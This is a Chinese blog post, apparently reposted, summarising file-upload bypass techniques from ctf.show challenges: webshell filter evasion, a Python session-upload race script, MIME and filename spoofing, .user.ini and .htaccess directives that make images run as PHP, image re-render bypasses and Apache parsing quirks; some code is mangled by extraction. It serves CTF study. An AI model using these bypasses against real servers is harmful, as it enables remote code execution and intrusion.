博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
CTF文件上传
阅读量:3961 次
发布时间:2019-05-24

本文共 3280 字,大约阅读时间需要 10 分钟。

文章目录

本文以ctf.show网站题目为例,总结ctf中的文件上传姿势


一句话木马

特殊字符过滤

短标签绕过

开启配置参数short_open_tags=on
等价于
不需要开启参数设置
<% echo '123';%>	开启配置参数asp_tags=on	#7.0以下
不需要开启参数设置 #7.0以下

() [] {}

function()中的()可以使用``绕过$_POST[1]中的[]可以使用{
}绕过

免杀马

感谢羽师傅的搜集:

文件包含

把文件上传题转变为

日志包含

session条件竞争

先上传.user.ini和一句话木马

羽师傅的通杀脚本:

import requestsimport threadingsession=requests.session()sess='yu22x'url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"data1={
'PHP_SESSION_UPLOAD_PROGRESS':'
'}file={
'file':'yu22x'}cookies={
'PHPSESSID': sess}def write(): while True: r = session.post(url1,data=data1,files=file,cookies=cookies)def read(): while True: r = session.get(url2) if 'flag' in r.text: print(r.text) threads = [threading.Thread(target=write), threading.Thread(target=read)]for t in threads: t.start()

文件类型验证

文件上传题多数只能上传图片,即jpg/png格式文件

修改文件名

Content-Disposition: form-data; name="file"; filename="shell.png"

将shell.png改成shell.php

Content-Disposition: form-data; name="file"; filename="shell.php"

修改文件类型

Content-Type: image/pngContent-Type: image/jpegContent-Type: image/gifContent-Type:application/x-zip-compressed     	zipContent-Type:application/octet-stream  			rar

user.ini

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web

根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI

设置可被识别。(英文文档中php_in_perdir也可)

auto_append_file和auto_prepend_file

auto_append_file和auto_prepend_file

一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
其中xxx就是 auto_append_file的值。

user.ini只对他同一目录下的文件起作用

首先上传一个带木马的图片XXX

在这里插入图片描述
接着上传.user.ini内容为 auto_append_file=“XXX” 在这里插入图片描述
回显路径
在这里插入图片描述
只要在/upload目录下存在.php文件,就会引入木马
访问该文件,POST数据即可
在这里插入图片描述

GIF89A

增加文件头GIF89A即可

在这里插入图片描述
好像可以写在同一行?
在这里插入图片描述

二次渲染

imagecreatefromgif($target_path)

使用上传的图片生成新的图片

gif

else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片 $im = imagecreatefromgif($target_path); if($im == false){
$msg = "该文件不是gif格式的图片!"; @unlink($target_path); }else{
//给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".gif"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagegif($im,$img_path); @unlink($target_path); $is_upload = true;

可以将下载下来的图片和上传上去的图片进行对比(winhex)

有一部分代码是没有进行二次渲染的,只要把一句话木马插入这部分即可

在这里插入图片描述

png

jpg

.htaccess

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

或者

SetHandler application/x-httpd-php

也可以写

php_value auto_prepend_file "shell.png" #效果和.user.ini一样,然后通过访问加载php页面可以触发.htaccess的指令

[MRCTF2020]你传你🐎呢 也是利用了.htaccess

在这里插入图片描述
在这里插入图片描述

apache解析漏洞

apache通过mod_php来运行脚本,其2.4.0-2.4.29中存在apache换行解析漏洞,

在解析php时xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关。
与其说这是漏洞,不如说是apache的特性,就是我们平常所说的从右向左解析是一样的。
当apache遇到无法识别解析的文件后缀时,会向前解析,如xxx.php.123.456,
在mime.types文件中如果不存在.123/.456这两种后缀,
那么apache会将该文件解析为php。
同样也可以在httpd.conf文件中更改参数或是直接配置.htaccess。

a.php.xxx 会解析成 a.php

参考:

转载地址:http://mkhzi.baihongyu.com/

你可能感兴趣的文章
简析几种常用的Web监听
查看>>
Web应用过滤器Fileter
查看>>
代理模式(Proxy)
查看>>
采用动态代理对事务进行封装
查看>>
采用ThreadLocal维护Connection
查看>>
测试JSTL表达式
查看>>
一口一口吃掉Struts(六)——动态ActionForm
查看>>
一口一口吃掉struts(七)——ActionForward知多少
查看>>
浅析Hibernate映射(二)——关系映射(3)
查看>>
浅析Hibernate映射(四)——组件映射(component)
查看>>
Hibernate性能优化
查看>>
Spring核心ioc
查看>>
SSH框架总结(框架分析+环境搭建+实例源码下载)
查看>>
Struts2+Spring3+Mybatis3开发环境搭建
查看>>
mongoDB入门必读(概念与实战并重)
查看>>
通俗易懂解剖jbpm4
查看>>
云盘 同步盘介绍 同步工具介绍
查看>>
rsync
查看>>
win7 英文版电脑 不睡眠,不休眠
查看>>
Bash中如何判断一个命令是否存在 查看当前目录下文件的个数
查看>>